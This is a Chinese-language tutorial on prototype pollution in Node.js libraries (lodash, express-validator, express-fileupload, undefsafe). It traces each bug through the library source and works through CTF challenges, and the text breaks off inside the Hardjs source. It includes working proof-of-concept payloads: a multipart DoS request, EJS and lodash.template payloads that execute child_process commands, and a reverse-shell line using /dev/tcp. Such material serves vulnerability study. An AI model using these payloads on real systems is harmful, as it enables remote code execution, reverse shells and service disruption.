[toc]

Lodash 模块原型链污染

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。

lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)

2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

1
2
3
4
5
6
7
8
9
10
11
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

我们在 mergeFn({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

image-20210718141200779

成功在 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

该漏洞披露之后,Lodash 于 7 月 9 日发布了 4.17.12 版本,其中包括 Snyk 修复和修复漏洞。我们可以参考一下 Snyk 的工程师 Kirill 发布到 GitHub 上的 lodash JavaScript 库存储库 https://github.com/lodash/lodash/pull/4336/files 的实际安全修复:

image-20210718134608807

image-20210718134630155

该修复包括以下两项安全检查:

  • 过滤了 constructor 以确保我们不会污染全局对象constructor
  • 还添加了一个测试用例以确保将来不会发生回归

lodash.merge 方法造成的原型链污染

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

1
merge(object, sources)

当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作实际上存在原型链污染漏洞,下面对其进行简单的分析,这里使用 4.17.4 版本的 Lodash。

  • node_modules/lodash/merge.js

image-20210718141807722

merge.js 调用了 baseMerge 方法,则定位到 baseMerge:

  • node_modules/lodash/_baseMerge.js

image-20210718142045986

如果 srcValue 是一个对象则进入 baseMergeDeep 方法,跟进 baseMergeDeep 方法:

  • node_modules/lodash/_baseMergeDeep.js

image-20210718142249272

跟进 assignMergeValue 方法:

  • node_modules/lodash/_assignMergeValue.js:

image-20210718142430584

跟进 baseAssignValue 方法:

  • node_modules/lodash/_baseAssignValue.js

image-20210718142654042

这里的 if 判断可以绕过,最终进入 object[key] = value 的赋值操作。

下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

我们在 lodash.merge({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

image-20210718144326502

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。

lodash.mergeWith 方法造成的原型链污染

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

1
mergeWith(object, sources, [customizer])

该方法与 merge 方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

我们在 lodash.mergeWith({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

image-20210718180652459

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

lodash.set 方法造成的原型链污染

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。

1
set(object, path, value)
  • 示例:
1
2
3
4
5
6
7
8
9
var object = { 'a': [{ 'b': { 'c': 3 } }] };

_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4

_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5

在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

我们在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

image-20210718213359594

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性,值为 Vulnerable,污染成功。

lodash.setWith 方法造成的原型链污染

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

1
setWith(object, path, value, [customizer])

该方法与 set 方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

我们在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 处下断点,单步结束后可以看到:

image-20210718214226285

在类型为 Array 的 object_1 对象的 __proto__ 属性中出现了一个 whoami 属性,值为 Vulnerable,污染成功。

至此,我们已经对 lodash 模块中的几个原型链污染做了验证,可以成功污染原型中的属性。但如果要进行代码执行,则还需要配合 eval() 方法的执行或模板引擎的渲染。

Express-validator 模块原型链污染

Express-validator 模块用来对请求的 body、params、query、headers 和 cookies 进行验证(validator)和过滤(sanitizer),并且如果任何配置的验证规则失败,返回一个错误的响应。

开发 Web 应用时,我们总是需要对用户的数据进行验证,这包括客户端的验证以及服务端的验证,仅仅依靠客户端的验证是不可靠的,毕竟我们不能把所有的用户都当成是普通用户,绕过客户端的验证对于部分用户来说并不是什么难事,因此所有数据应该在服务端也进行一次验证。Express 应用可以通过 express-validator 进行数据验证,这样就不必自己烦琐的为每一个数据单独写验证程序。

为了更好地理解 express-validator 模块的作用,下面我们来看一下官方给出的实例。首先编写一个在数据库中创建用户的基本路由:

1
2
3
4
5
6
7
8
9
10
const express = require('express');
const app = express();

app.use(express.json());
app.post('/user', (req, res) => {
User.create({
username: req.body.username,
password: req.body.password,
}).then(user => res.json(user));
});

然后,如果此时你需要确保在创建用户之前对用户的输入进行验证并报告所有错误,你可以使用 express-validator 中间件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ...rest of the initial code omitted for simplicity.
const { body, validationResult } = require('express-validator');

app.post(
'/user',
// 验证用户名只能是一个邮箱
body('username').isEmail(),
// 验证密码的长度最少为 5
body('password').isLength({ min: 5 }),
(req, res) => {
// 查找此请求中的验证错误并将它们包装在具有方便函数的对象中
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}

User.create({
username: req.body.username,
password: req.body.password,
}).then(user => res.json(user));
},
);

如下所示,每当提交包含无效 usernamepassword 字段的请求时,您的服务器将响应如下:

1
2
3
4
5
6
7
8
9
{
"errors": [
{
"location": "body",
"msg": "Invalid value",
"param": "username"
}
]
}

更多详情请看:https://express-validator.github.io/docs/

可见,有了 express-validator 中间件,我们可以很方便的对 Express 应用提交的数据进行验证,但是在 6.6.0 版本的 express-validator 中存在一个原型链污染漏洞,原因是 express-validator 中的所依赖的 lodash 模块存在原型链污染漏洞。

下面我们开始分析,编写以下测试代码:

  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const express = require('express')
const app = express()

const port = 8000

app.use(express.json())
app.use(express.urlencoded({
extended: true
}))

const {
body,
validationResult
} = require('express-validator')

middlewares = [
body('*').trim() // 调用 body 对所有 POST 方法传递的数据中的键值进行 trim 处理
]

app.use(middlewares)

app.post("/user", (req, res) => {
const foo = "hellowrold"
return res.status(200).send(foo)
})

app.listen(port, () => {
console.log(`server listening on ${port}`)
})

安装对应版本的依赖包:

1
2
3
npm install lodash@4.17.15
npm install express-validator@6.6.0
npm install express

我们首先来看看 express-validator 是如何做参数过滤的,就是 Express 的这个中间件 body('*').trim() 到底做了什么。跟进 body

  • node_modules/express-validator/src/middlewares/validation-chain-builders.js

image-20210801181536695

可以看到,checkbodycookie 等这些都是对 buildCheckFunction 函数的封装,而 buildCheckFunction 函数内部调用了 check.js 中的 check 函数,跟进 check

  • node_modules/express-validator/src/middlewares/check.js

image-20210801182212601

先看到 return 的地方,check 函数里的 middleware 就是 express-validator 最终对接 express 的中间件。bindAll 函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性,因为 Object.assign 只做浅拷贝,bindAll 之后 Object.assign 就可以把 sanitizersvalidators 中的方法都绑定到 middleware 上面了,这样就能通过这个 middleware 调用所有的验证(validators)和过滤(sanitizers)函数了。

传入 bindAll 的参数值是通过 Chain_1.SanitizersImpl 函数返回的,跟进 Chain_1.SanitizersImpl

  • node_modules/express-validator/src/chain/sanitizers-impl.js

image-20210801184210477

在这个 sanitizers-impl.js 中存在很多的过滤器(sanitizer),并且每个过滤器实现的方法都调用了 this.addStandardSanitization 来将过滤器传入到 sanitization_1.Sanitization 方法中,得到的结果再传递给 this.builder.addItem,这样就给 builder 增加了一个 sanitization,最后返回 this.chainbindAll 中,这样就做到链式调用。

我们在 sanitizers-impl.js 中找到了 trim 过滤器:

image-20210801193049832

可知也是调用 this.addStandardSanitization ,然后进入 sanitization_1.Sanitization 中,跟进 sanitization_1.Sanitization,看看这个 sanitization_1.Sanitization 做了什么:

  • node_modules/express-validator/src/context-items/sanitization.js

image-20210801195705724

这个 Sanitization 中有个 run 方法,该方法最终通过调用 sanitizer 方法设置了 context 的值。

再来看看那个 this.builder.addItem 做了什么:

  • node_modules/express-validator/src/context-builder.js

image-20210801200429561

就是把传入进来的值压入 this.stack 栈中。

我们回到 Sanitization 中的 run 方法,这个 run 方法,寻找调用 run 的地方。发现在 check.js 里面创建了一个 runner 对象,并在 middleware 里调用了 run 方法:

image-20210801200846936

同样可以从 node_modules/express-validator/src/chain/context-runner-impl.js 中找到实现 runner.run 方法的具体位置为:

image-20210801201742227

可以看到这的 run 这里可以看到是从 context.stack 里面循环遍历了 contextItem,并调用了其 run 方法。这个 context.stack 其实就是通过 this.builder.addItem 方法添加的。

这就是完整的 express-validator 的过滤器(sanitizer)的实现流程。

express-validator的做法是把各种 validatorsanitizers 的方法绑定到 check 函数返回的 middleware 上,这些 validatorsanitizer 的方法通过往 context.stack 属性里面 Push context-items,最终在 ContextRunnerImpl.run 方法里遍历 context.stack 中的 context-items,逐一调用 run 方法实现 validation 或者是 sanitization

在上面分析里,context-runner-impl.js 的 run 方法中,可以看到如果 options.dryRun 不为真且 reqValue !== instance.value 就会进入条件,则通过 _.set 重新设置 req[location] 的某个参数的值为新的值,这里的参数都是可控的,而且 6.6.0 版本的 express-validator 中要求的 lodash 最低版本是 4.17.15,就有机会触发原型链污染漏洞了。

两个条件其中 options.dryRun 默认为 False 不用管,而要满足 reqValue !== instance.value 的条件,通过调试可以知道,就是使我们给的参数的值经过sanitizer之后改变了就行。

check().trim() 这个 sanitizer 来举例子,我们只要给的参数两边具有空白字符,经过 trim() 之后会把空白字符去掉,就可以满足上面的漏洞触发条件,但是并不是说直接用 Lodash 的 Payload 就可以成功的。如下,我们直接发送以下测试数据包并在 context-runner-impl.js 中的 _.set 处下断点:

1
{"__proto__[whoami]": "Vulnerable "}

image-20210801222709040

如下所示,发现确实满足了条件,但是却没有污染成功:

image-20210801223134658

这是因为,这里 _set 的第一个参数和 Lodash 原型链污染给出的 Payload 不太一样, Lodash 原型链污染的 Payload 里是空对象,而这里是 req[location]req[location] 里面本来就有我们 _set 的第二个参数也就是需要设置的对象的路径 key 的,由于 key 存在了导致了原型链污染失败。

所以,目前这条路遇到的问题就是,我们需要把恶意的 key 传递给 Lodash 的 _set 函数中作为第二个参数,而这个恶意的 key 本身是通过 req 的参数传过去的,所以会事先保存到 _.set 的第一个参数 req[location] 里面,导致原型链污染失败。那么有没有可能在这个 key 走到 _set 之前的某个时候,经过了 express-validator 的一些处理发生了一些变化导致和 req[location] 里的key不一样了呢?这样的话 _set 就可以污染成功了。

当我们传入以下数据包时:

1
{"\"].__proto__[\"whoami":"Vulnerable "}

这里的键为 "].__proto__["whoami,但是由于字符里面存在 .,所以在 segments.reduce 函数处理时会对其左右加双引号和中括号,最终变成 [""].__proto__["whoami"]

image-20210801230611126

而这个 [""].__proto__["whoami"] 传入_set之后,由于 req[location] 中不存在这个 key,所以就可以成功设置 req[locaiton] 了。此时可以看到成功污染了原型并增加了一个whoami参数,我们设置的值并没有传递进去,而是污染为了一个空值 ''。这是因为在 _set 的时候用的第三个参数 newValue 是利用变化后的 key 重新从 req[location] 取出来的。由于 req[location] 中不存在这个 key,所以取出来的值是 undefined,但是因为我们用了 sanitizer,所以这个 undefined 会经过 sanitizer 的处理并最终变成了空字符串 ''

可不要小看这一个空值,就是这一个空字符串,因为Javascript的一些特性,便可以具备很强大的威力。比如 if 判断中,'' 字符串会返回 False,这就是说我们可以把某些地方的本来为真的条件判断改为假,从而绕过某些限制或者改变代码走向。

Express-fileupload 模块原型链污染

作为 Nodejs 的中间件,express-fileupload 模块可为 express 应用提供文件上传功能。但是该模块的 1.1.8 之前的版本存在原型链污染漏洞(CVE-2020-7699)。但是,要引发该漏洞,需要一定的配置,即将 parseNested 选项设置为 true。该漏洞可以引发 DOS 拒绝服务攻击,配合 EJS 等模板引擎,可以达到 RCE 的目的。

下面来简单的分析一下该漏洞,首先下载存在漏洞的 express-fileupload 源码:

1
npm i express-fileupload@1.1.7-alpha.4

引起 express-fileupload 模块原型链污染漏洞的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
busboy.on('finish', () => {
debugLog(options, `Busboy finished parsing request.`);
if (options.parseNested) {
req.body = processNested(req.body); // 对req.body调用processNested
req.files = processNested(req.files); // 对req.files调用processNested
}

if (!req[waitFlushProperty]) return next();
Promise.all(req[waitFlushProperty])
.then(() => {
delete req[waitFlushProperty];
next();
}).catch(err => {
delete req[waitFlushProperty];
debugLog(options, `Error while waiting files flush: ${err}`);
next(err);
});
});

跟进 processNested 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function processNested(data){
if (!data || data.length < 1) return {};

let d = {},
keys = Object.keys(data); //获取键名,列表

for (let i = 0; i < keys.length; i++) {
let key = keys[i],
value = data[key],
current = d,
keyParts = key
.replace(new RegExp(/\[/g), '.')
.replace(new RegExp(/\]/g), '')
.split('.');

for (let index = 0; index < keyParts.length; index++){
let k = keyParts[index];
if (index >= keyParts.length - 1){
current[k] = value;
} else {
if (!current[k])
current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
current = current[k];
}
}
}

return d;
};

可见引发原型链污染处就在于这个 porcessNested 方法,可以看到,它的功能那个 merge 函数比较类似,都是循环调用, 最终造成了原型链污染。例如:

1
2
3
4
5
6
传入的参数是: {"a.b.c":"whoami"}
通过这个函数后,返回的是: { a: { b: { c: 'whoami' } } }

传入参数: {"__proto__.m1sn0w":"whoami"}
然后我们调用 console.log(Object.__proto__.whoami)
返回的值为 whoami

该漏洞的首要条件是 parseNested 参数为 true,如果 parseNested 参数为 true,则调用 processNested 函数,且参数是 req.body 或者 req.filesreq.body 是 Nodejs 解析的 POST 请求体,req.files 获取上传文件的信息。这两种请求方法都可以使用。

污染 toString 方法造成 DOS 拒绝服务攻击

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true })); // 该漏的首要条件, 如果 parseNested 参数为 true,则调用 processNested 函数

app.get('/', (req, res) => {
res.end('express-fileupload poc');
});

//设置http
var server = app.listen(3000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

造成 DOS 拒绝服务攻击的主要原因就是污染了 toString 方法,造成了系统内部错误。这里使用 req.files 请求,POC 如下:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 137

----------1566035451
Content-Disposition: form-data; name="__proto__.toString"; filename="filename"

whoami
----------1566035451--

发送 POC 之后,服务器发生错误:

image-20210817201231474

配合 EJS 模板实现 RCE

这里我们使用 req.body 请求,可以实现任意属性的污染。

测试代码:

  • server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.get('/', (req, res) => {
console.log(Object.prototype.polluted);
res.render('index.ejs');
});

//设置http
var server = app.listen(3000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
  • index.ejs
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

这里使用 req.body 请求,POC 如下:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 178

----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";

_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2
----------1566035451--

发送 POC 之后,成功执行命令并弹出了计算器:

image-20210817205315360

对于 EJS 模板 RCE 的原理我们下篇文章中再讲。

Undefsafe 模块原型链污染

Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。

Undefsafe 模块的使用

我们先简单测试一下该模块的使用:

1
2
3
4
5
6
7
8
9
10
11
12
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'whoami'
}
}
};
console.log(object.a.b.e)
// whoami

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

1
2
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:

1
2
3
4
5
6
7
8
9
10
var a = require("undefsafe");

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了。

同时在对对象赋值时,如果目标属性存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

Undefsafe 模块漏洞分析

通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本,存在原型链污染漏洞(CVE-2019-10795)。

我们在 2.0.3 版本中进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"whoami");
console.log(object.toString);
// [Function: toString]

但是如果在低于 2.0.3 版本运行,则会得到如下输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// whoami

可见,当 undefsafe() 函数的第 2,3 个参数可控时,我们可以污染 object 对象中的值。

再来看一个简单例子:

1
2
3
4
var a = require("undefsafe");
var test = {}
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

1
2
3
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 “this is just a evil!”。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现 toString 方法,同时进行调用,而此时原型中的 toString 方法已被我们污染,因此可以导致其输出被我们污染后的结果。

配合 lodash.template 实现 RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 详情请看:http://lodash.think2011.net/template

在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。下面我们通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。

[Code-Breaking 2018]Thejs

进入题目,主页如下:

image-20210719165855997

关键源码如下:

  • server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) // 使用 json 解析 body
app.use('/static', express.static('static'))
app.use(session({ // 启用 session
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body) // 将用户提交的数据合并到 req.session.data 中去
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

代码很简单,就是将用户提交的信息,用 lodash.merge 方法合并到 session 里面去,多次提交, session 里最终保存你提交的所有信息。这里的 lodash.merge 操作存在原型链污染漏洞无需多言,下面给出解题的 payload:

1
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}

为什么要污染 sourceURL 呢?我们看到 lodash.template 的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

可以看到 sourceURL 属性是通过一个三目运算法赋值,其默认值为空。再往下看可以发现 sourceURL 被拼接进 Function 函数构造器的第二个参数,造成任意代码执行漏洞。所以我们通过原型链污染 sourceURL 参数构造 chile_process.exec 就可以执行任意代码了。但是要注意,Function 环境下没有 require 函数,直接使用require('child_process') 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

我们将 payload 以 Json 的形式发送给后端,因为 express 框架支持根据 Content-Type 来解析请求 Body,为我们注入原型提供了很大方便:

image-20210719224809125

如上图所示,成功执行 id 命令。

配合 ejs 模板引擎实现 RCE

Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
  • index.ejs
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

运行 app.js 后访问 8000 端口,成功弹出计算器:

image-20210718225151263

下面我们开始分析。

刚开始的 lodash.merge 原型链污染没有什么可说的,在 lodash.merge({}, JSON.parse(malicious_payload)); 处下断点,单步结束后可以看到:

image-20210718225641677

成功在 __proto__ 中出污染了一个 outputFunctionName 属性,值为 _tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2

但为什么要污染一个 outputFunctionName 属性呢?我们继续往下看。我们从 index.js::res.render 处开始,跟进 render 方法:

  • node_modules/express/lib/response.js

image-20210718232630217

跟进到 app.render 方法:

  • node_modules/express/lib/application.js

image-20210718233022011

发现最终会进入到 app.render 方法里的 tryRender 函数,跟进到 tryRender:

  • node_modules/express/lib/application.js

image-20210718233350261

调用了 view.render 方法,继续跟进 view.render

  • node_modules/express/lib/view.js

image-20210719232327201

至此调用了 engine,通过 engine 调用了 ejs 模板引擎中的 renderFile 方法,也就是说从这里进入到了模板渲染引擎 ejs.js 中。跟进 ejs.js 中的 renderFile 方法:

  • node_modules/ejs/ejs.js

image-20210719232727679

发现 renderFile 中又调用了 tryHandleCache 方法,跟进 tryHandleCache:

  • node_modules/ejs/ejs.js

image-20210719232921121

进入到 handleCache 方法,跟进 handleCache:

  • node_modules/ejs/ejs.js

image-20210718234630328

在 handleCache 中找到了渲染模板的 compile 方法,跟进 compile:

image-20210718235351235

发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了 compile。最后给出几个 ejs 模板引擎 RCE 常用的 POC:

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

[XNUCA 2019 Qualifier]Hardjs

进入题目是一个登录页面:

image-20210719230817768

关键源码如下:

  • server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const mysql = require('mysql')
const mysqlConfig = require("./config/mysql")
const ejs = require('ejs')

...

app.get("/get",auth,async function(req,res,next){

var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);

if(dataList[0].count == 0 ){
res.json({})

}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom )); // 漏洞点

var sql = "delete from `html` where id = ?";
